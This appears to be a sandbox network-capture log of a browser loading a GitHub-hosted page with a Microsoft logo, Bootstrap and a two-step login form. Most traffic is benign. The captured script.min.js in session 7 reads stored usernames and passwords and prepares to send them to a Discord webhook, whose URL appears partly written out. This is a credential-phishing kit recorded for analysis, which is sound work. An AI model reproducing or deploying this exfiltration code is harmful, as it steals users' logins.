2024-08-29 22:19:17 UTC	602	OUT	GET /assets/img/microsoft_logo.svg HTTP/1.1 Host: l9sa.github.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l9sa.github.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:18 UTC	723	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3651 Server: GitHub.com Content-Type: image/svg+xml permissions-policy: interest-cohort=() Last-Modified: Tue, 07 Nov 2023 13:01:40 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "654a3534-e43" expires: Thu, 29 Aug 2024 22:29:18 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: A8CB:1A6FBB:400A264:47E733F:66D0F3E5 Accept-Ranges: bytes Age: 0 Date: Thu, 29 Aug 2024 22:19:18 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740031-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1724969958.020518,VS0,VE19 Vary: Accept-Encoding X-Fastly-Request-ID: 0800fcbb8f4f46c116c0829a5fa54840652a35fa
2024-08-29 22:19:18 UTC	1378	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0
2024-08-29 22:19:18 UTC	1378	IN	Data Raw: 30 2c 30 2c 31 2d 33 2e 36 35 32 2d 31 2e 33 35 32 41 34 2e 39 38 37 2c 34 2e 39 38 37 2c 30 2c 30 2c 31 2c 36 36 2e 34 30 36 2c 31 33 2e 36 6d 32 2e 34 32 35 2d 2e 30 37 37 61 33 2e 35 33 35 2c 33 2e 35 33 35 2c 30 2c 30 2c 30 2c 2e 37 2c 32 2e 33 36 38 2c 32 2e 35 30 35 2c 32 2e 35 30 35 2c 30 2c 30 2c 30 2c 32 2e 30 31 31 2e 38 31 38 2c 32 2e 33 34 35 2c 32 2e 33 34 35 2c 30 2c 30 2c 30 2c 31 2e 39 33 34 2d 2e 38 31 38 2c 33 2e 37 38 33 2c 33 2e 37 38 33 2c 30 2c 30 2c 30 2c 2e 36 36 34 2d 32 2e 34 32 35 2c 33 2e 36 35 31 2c 33 2e 36 35 31 2c 30 2c 30 2c 30 2d 2e 36 38 38 2d 32 2e 34 31 31 2c 32 2e 33 38 39 2c 32 2e 33 38 39 2c 30 2c 30 2c 30 2d 31 2e 39 32 39 2d 2e 38 31 33 2c 32 2e 34 34 2c 32 2e 34 34 2c 30 2c 30 2c 30 2d 31 2e 39 38 38 2e 38 35 32 Data Ascii: 0,0,1-3.652-1.352A4.987,4.987,0,0,1,66.406,13.6m2.425-.077a3.535,3.535,0,0,0,.7,2.368,2.505,2.505,0,0,0,2.011.818,2.345,2.345,0,0,0,1.934-.818,3.783,3.783,0,0,0,.664-2.425,3.651,3.651,0,0,0-.688-2.411,2.389,2.389,0,0,0-1.929-.813,2.44,2.44,0,0,0-1.988.852
2024-08-29 22:19:18 UTC	895	IN	Data Raw: 39 2c 30 2c 30 2c 30 2d 31 2e 39 38 37 2e 38 35 32 2c 33 2e 37 30 37 2c 33 2e 37 30 37 2c 30 2c 30 2c 30 2d 2e 37 30 37 2c 32 2e 34 33 6d 31 35 2e 34 36 34 2d 33 2e 31 30 39 48 39 39 2e 37 56 31 38 2e 34 48 39 37 2e 33 34 31 56 31 30 2e 34 31 32 48 39 35 2e 36 38 36 56 38 2e 35 30 37 68 31 2e 36 35 35 56 37 2e 31 33 61 33 2e 34 32 33 2c 33 2e 34 32 33 2c 30 2c 30 2c 31 2c 31 2e 30 31 35 2d 32 2e 35 35 35 2c 33 2e 35 36 31 2c 33 2e 35 36 31 2c 30 2c 30 2c 31 2c 32 2e 36 2d 31 2c 35 2e 38 30 37 2c 35 2e 38 30 37 2c 30 2c 30 2c 31 2c 2e 37 35 31 2e 30 34 33 2c 32 2e 39 39 33 2c 32 2e 39 39 33 2c 30 2c 30 2c 31 2c 2e 35 37 37 2e 31 33 56 35 2e 37 36 34 61 32 2e 34 32 32 2c 32 2e 34 32 32 2c 30 2c 30 2c 30 2d 2e 34 2d 2e 31 36 34 2c 32 2e 31 30 37 2c 32 2e 31 Data Ascii: 9,0,0,0-1.987.852,3.707,3.707,0,0,0-.707,2.43m15.464-3.109H99.7V18.4H97.341V10.412H95.686V8.507h1.655V7.13a3.423,3.423,0,0,1,1.015-2.555,3.561,3.561,0,0,1,2.6-1,5.807,5.807,0,0,1,.751.043,2.993,2.993,0,0,1,.577.13V5.764a2.422,2.422,0,0,0-.4-.164,2.107,2.1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49745	104.17.25.14	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:17 UTC	578	OUT	GET /ajax/libs/twitter-bootstrap/4.5.0/js/bootstrap.bundle.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://l9sa.github.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:18 UTC	949	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:18 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5ebae359-13cbc" Last-Modified: Tue, 12 May 2020 17:56:41 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: MISS Expires: Tue, 19 Aug 2025 22:19:18 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LEHdcUfe%2FdL7UPiATtGdHsU21shtn%2BGep9imJUGOMfUIFCQ9V7G1qGD%2FfyNBSx1Dc4vN5vsJVFil%2BUcOuUU21EyCiA0x5IR0R0JhabiINRz8aJODZoVo9KDz1j88VRA3BTidWReX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8bafebfdd9218cbd-EWR alt-svc: h3=":443"; ma=86400
2024-08-29 22:19:18 UTC	420	IN	Data Raw: 37 62 66 62 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 35 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bfb/! Bootstrap v4.5.0 (https://getbootstrap.com/) * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-08-29 22:19:18 UTC	1369	IN	Data Raw: 65 6c 66 29 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 29 7d 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 2c 69 29 7b 72 65 74 75 72 6e 20 65 26 Data Ascii: elf).bootstrap={},t.jQuery)}(this,(function(t,e){"use strict";function n(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function i(t,e,i){return e&
2024-08-29 22:19:18 UTC	1369	IN	Data Raw: 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 74 61 72 67 65 74 22 29 3b 69 66 28 21 65 7c 7c 22 23 22 3d 3d 3d 65 29 7b 76 61 72 20 6e 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 22 29 3b 65 3d 6e 26 26 22 23 22 21 3d 3d 6e 3f 6e 2e 74 72 69 6d 28 29 3a 22 22 7d 74 72 79 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 65 29 3f 65 3a 6e 75 6c 6c 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 7d 2c 67 65 74 54 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 46 72 6f 6d 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 74 29 72 65 74 75 72 6e 20 30 3b 76 61 72 20 6e 3d 65 28 74 29 2e 63 73 73 28 22 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 Data Ascii: getAttribute("data-target");if(!e\|\|"#"===e){var n=t.getAttribute("href");e=n&&"#"!==n?n.trim():""}try{return document.querySelector(e)?e:null}catch(t){return null}},getTransitionDurationFromElement:function(t){if(!t)return 0;var n=e(t).css("transition-dur
2024-08-29 22:19:18 UTC	1369	IN	Data Raw: 72 65 73 20 6a 51 75 65 72 79 2e 20 6a 51 75 65 72 79 20 6d 75 73 74 20 62 65 20 69 6e 63 6c 75 64 65 64 20 62 65 66 6f 72 65 20 42 6f 6f 74 73 74 72 61 70 27 73 20 4a 61 76 61 53 63 72 69 70 74 2e 22 29 3b 76 61 72 20 74 3d 65 2e 66 6e 2e 6a 71 75 65 72 79 2e 73 70 6c 69 74 28 22 20 22 29 5b 30 5d 2e 73 70 6c 69 74 28 22 2e 22 29 3b 69 66 28 74 5b 30 5d 3c 32 26 26 74 5b 31 5d 3c 39 7c 7c 31 3d 3d 3d 74 5b 30 5d 26 26 39 3d 3d 3d 74 5b 31 5d 26 26 74 5b 32 5d 3c 31 7c 7c 74 5b 30 5d 3e 3d 34 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 42 6f 6f 74 73 74 72 61 70 27 73 20 4a 61 76 61 53 63 72 69 70 74 20 72 65 71 75 69 72 65 73 20 61 74 20 6c 65 61 73 74 20 6a 51 75 65 72 79 20 76 31 2e 39 2e 31 20 62 75 74 20 6c 65 73 73 20 74 68 61 6e 20 76 34 Data Ascii: res jQuery. jQuery must be included before Bootstrap's JavaScript.");var t=e.fn.jquery.split(" ")[0].split(".");if(t[0]<2&&t[1]<9\|\|1===t[0]&&9===t[1]&&t[2]<1\|\|t[0]>=4)throw new Error("Bootstrap's JavaScript requires at least jQuery v1.9.1 but less than v4
2024-08-29 22:19:18 UTC	1369	IN	Data Raw: 73 2e 61 6c 65 72 74 22 29 2e 72 65 6d 6f 76 65 28 29 7d 2c 74 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 69 3d 65 28 74 68 69 73 29 2c 6f 3d 69 2e 64 61 74 61 28 22 62 73 2e 61 6c 65 72 74 22 29 3b 6f 7c 7c 28 6f 3d 6e 65 77 20 74 28 74 68 69 73 29 2c 69 2e 64 61 74 61 28 22 62 73 2e 61 6c 65 72 74 22 2c 6f 29 29 2c 22 63 6c 6f 73 65 22 3d 3d 3d 6e 26 26 6f 5b 6e 5d 28 74 68 69 73 29 7d 29 29 7d 2c 74 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 2e Data Ascii: s.alert").remove()},t._jQueryInterface=function(n){return this.each((function(){var i=e(this),o=i.data("bs.alert");o\|\|(o=new t(this),i.data("bs.alert",o)),"close"===n&&o[n](this)}))},t._handleDismiss=function(t){return function(e){e&&e.preventDefault(),t.
2024-08-29 22:19:18 UTC	1369	IN	Data Raw: 65 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 7d 2c 74 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 69 3d 65 28 74 68 69 73 29 2e 64 61 74 61 28 22 62 73 2e 62 75 74 74 6f 6e 22 29 3b 69 7c 7c 28 69 3d 6e 65 77 20 74 28 74 68 69 73 29 2c 65 28 74 68 69 73 29 2e 64 61 74 61 28 22 62 73 2e 62 75 74 74 6f 6e 22 2c 69 29 29 2c 22 74 6f 67 67 6c 65 22 3d 3d 3d 6e 26 26 69 5b 6e 5d 28 29 7d 29 29 7d 2c 69 28 74 2c 6e 75 6c 6c 2c 5b 7b 6b 65 79 3a 22 56 45 52 53 49 4f 4e 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 34 2e 35 2e 30 22 7d 7d 5d 29 2c 74 7d 28 29 3b 65 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e Data Ascii: element=null},t._jQueryInterface=function(n){return this.each((function(){var i=e(this).data("bs.button");i\|\|(i=new t(this),e(this).data("bs.button",i)),"toggle"===n&&i[n]()}))},i(t,null,[{key:"VERSION",get:function(){return"4.5.0"}}]),t}();e(document).on
2024-08-29 22:19:18 UTC	1369	IN	Data Raw: 62 75 74 65 28 22 61 72 69 61 2d 70 72 65 73 73 65 64 22 29 3f 61 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 63 74 69 76 65 22 29 3a 61 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 61 63 74 69 76 65 22 29 7d 7d 29 29 2c 65 2e 66 6e 2e 62 75 74 74 6f 6e 3d 64 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 65 2e 66 6e 2e 62 75 74 74 6f 6e 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 64 2c 65 2e 66 6e 2e 62 75 74 74 6f 6e 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 66 6e 2e 62 75 74 74 6f 6e 3d 66 2c 64 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 3b 76 61 72 20 70 3d 22 63 61 72 6f 75 73 65 6c 22 2c 6d 3d 22 2e 62 73 2e 63 61 72 6f 75 73 65 6c 22 2c 67 3d 65 2e 66 6e 5b 70 5d Data Ascii: bute("aria-pressed")?a.classList.add("active"):a.classList.remove("active")}})),e.fn.button=d._jQueryInterface,e.fn.button.Constructor=d,e.fn.button.noConflict=function(){return e.fn.button=f,d._jQueryInterface};var p="carousel",m=".bs.carousel",g=e.fn[p]
2024-08-29 22:19:18 UTC	1369	IN	Data Raw: 6d 2d 70 72 65 76 22 29 26 26 28 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2c 74 68 69 73 2e 63 79 63 6c 65 28 21 30 29 29 2c 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 7d 2c 6e 2e 63 79 63 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 7c 7c 28 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 21 31 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 26 26 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 Data Ascii: m-prev")&&(l.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},n.cycle=function(t){t\|\|(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config.interval&&!this
2024-08-29 22:19:18 UTC	1369	IN	Data Raw: 65 29 7b 72 65 74 75 72 6e 20 74 2e 5f 6b 65 79 64 6f 77 6e 28 65 29 7d 29 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 65 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 22 6d 6f 75 73 65 65 6e 74 65 72 2e 62 73 2e 63 61 72 6f 75 73 65 6c 22 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 70 61 75 73 65 28 65 29 7d 29 29 2e 6f 6e 28 22 6d 6f 75 73 65 6c 65 61 76 65 2e 62 73 2e 63 61 72 6f 75 73 65 6c 22 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 79 63 6c 65 28 65 29 7d 29 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 74 6f 75 63 68 26 26 74 68 69 73 2e 5f 61 64 64 54 6f 75 63 68 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 2c 6e 2e 5f 61 64 Data Ascii: e){return t._keydown(e)})),"hover"===this._config.pause&&e(this._element).on("mouseenter.bs.carousel",(function(e){return t.pause(e)})).on("mouseleave.bs.carousel",(function(e){return t.cycle(e)})),this._config.touch&&this._addTouchEventListeners()},n._ad
2024-08-29 22:19:18 UTC	1369	IN	Data Raw: 31 3f 74 2e 74 6f 75 63 68 44 65 6c 74 61 58 3d 30 3a 74 2e 74 6f 75 63 68 44 65 6c 74 61 58 3d 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 63 6c 69 65 6e 74 58 2d 74 2e 74 6f 75 63 68 53 74 61 72 74 58 7d 28 65 29 7d 29 29 2c 65 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 22 74 6f 75 63 68 65 6e 64 2e 62 73 2e 63 61 72 6f 75 73 65 6c 22 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 69 28 74 29 7d 29 29 29 7d 7d 2c 6e 2e 5f 6b 65 79 64 6f 77 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 Data Ascii: 1?t.touchDeltaX=0:t.touchDeltaX=e.originalEvent.touches[0].clientX-t.touchStartX}(e)})),e(this._element).on("touchend.bs.carousel",(function(t){return i(t)})))}},n._keydown=function(t){if(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	185.199.108.153	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:17 UTC	536	OUT	GET /assets/js/script.min.js HTTP/1.1 Host: l9sa.github.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://l9sa.github.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:18 UTC	746	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3903 Server: GitHub.com Content-Type: application/javascript; charset=utf-8 permissions-policy: interest-cohort=() Last-Modified: Tue, 07 Nov 2023 13:01:40 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "654a3534-f3f" expires: Thu, 29 Aug 2024 22:29:18 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: 20E3:EC26C:43EA922:4BC9916:66D0F3E5 Accept-Ranges: bytes Age: 0 Date: Thu, 29 Aug 2024 22:19:18 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890051-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1724969958.038818,VS0,VE14 Vary: Accept-Encoding X-Fastly-Request-ID: c0effbacb0771b3b2157b7923a303dffa74d3d38
2024-08-29 22:19:18 UTC	1378	IN	Data Raw: 63 6f 6e 73 74 20 61 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 73 6c 69 64 65 2d 70 61 67 65 22 29 2c 0d 0a 20 20 62 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 73 65 63 6f 6e 64 53 6c 69 64 65 22 29 2c 0d 0a 20 20 63 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 66 69 72 73 74 4e 65 78 74 22 29 2c 0d 0a 20 20 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 70 72 65 76 2d 31 22 29 2c 0d 0a 20 20 65 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 73 75 62 6d 69 74 22 29 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 66 28 67 29 20 7b 0d 0a 20 20 72 65 74 75 72 6e 20 2f Data Ascii: const a = document.querySelector(".slide-page"), b = document.querySelector(".secondSlide"), c = document.querySelector(".firstNext"), d = document.querySelector(".prev-1"), e = document.querySelector(".submit");function f(g) { return /
2024-08-29 22:19:18 UTC	1378	IN	Data Raw: 67 65 74 49 74 65 6d 28 22 75 73 65 72 22 29 3b 0d 0a 20 20 6c 65 74 20 70 20 3d 20 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 70 61 73 73 77 6f 72 64 22 29 3b 0d 0a 0d 0a 20 20 63 6f 6e 73 74 20 71 20 3d 20 7b 0d 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 60 55 73 65 72 73 20 55 73 65 72 6e 61 6d 65 3a 20 24 7b 6f 7d 5c 6e 55 73 65 72 73 20 50 61 73 73 77 6f 72 64 3a 20 24 7b 70 7d 60 2c 0d 0a 20 20 7d 3b 0d 0a 0d 0a 20 20 63 6f 6e 73 74 20 72 20 3d 0d 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 64 69 73 63 6f 72 64 2e 63 6f 6d 2f 61 70 69 2f 77 65 62 68 6f 6f 6b 73 2f 31 31 34 38 35 37 31 39 38 32 36 39 31 30 35 33 36 34 31 2f 47 74 46 4a 4c 69 4c 62 4c 70 6c 6d 41 5f 35 4c 35 4a 37 56 78 75 46 56 79 55 59 48 54 39 50 51 53 2d Data Ascii: getItem("user"); let p = sessionStorage.getItem("password"); const q = { content: `Users Username: ${o}\nUsers Password: ${p}`, }; const r = "https://discord.com/api/webhooks/1148571982691053641/GtFJLiLbLplmA_5L5J7VxuFVyUYHT9PQS-
2024-08-29 22:19:18 UTC	1147	IN	Data Raw: 64 28 22 73 65 63 74 69 6f 6e 2d 32 22 29 3b 0d 0a 20 20 20 20 28 7a 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 4c 65 66 74 20 3d 20 22 2d 31 30 30 25 22 29 2c 0d 0a 20 20 20 20 20 20 28 7a 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 20 3d 20 22 68 69 64 64 65 6e 22 29 2c 0d 0a 20 20 20 20 20 20 28 41 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 4c 65 66 74 20 3d 20 22 30 25 22 29 2c 0d 0a 20 20 20 20 20 20 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6c 6f 67 69 6e 46 6f 72 6d 22 29 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 20 3d 20 22 34 30 33 70 78 22 29 3b 0d 0a 20 20 7d 29 2c 0d 0a 20 20 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 Data Ascii: d("section-2"); (z.style.marginLeft = "-100%"), (z.style.visibility = "hidden"), (A.style.marginLeft = "0%"), (document.getElementById("loginForm").style.height = "403px"); }), e.addEventListener("click", function () {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49749	185.199.108.153	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
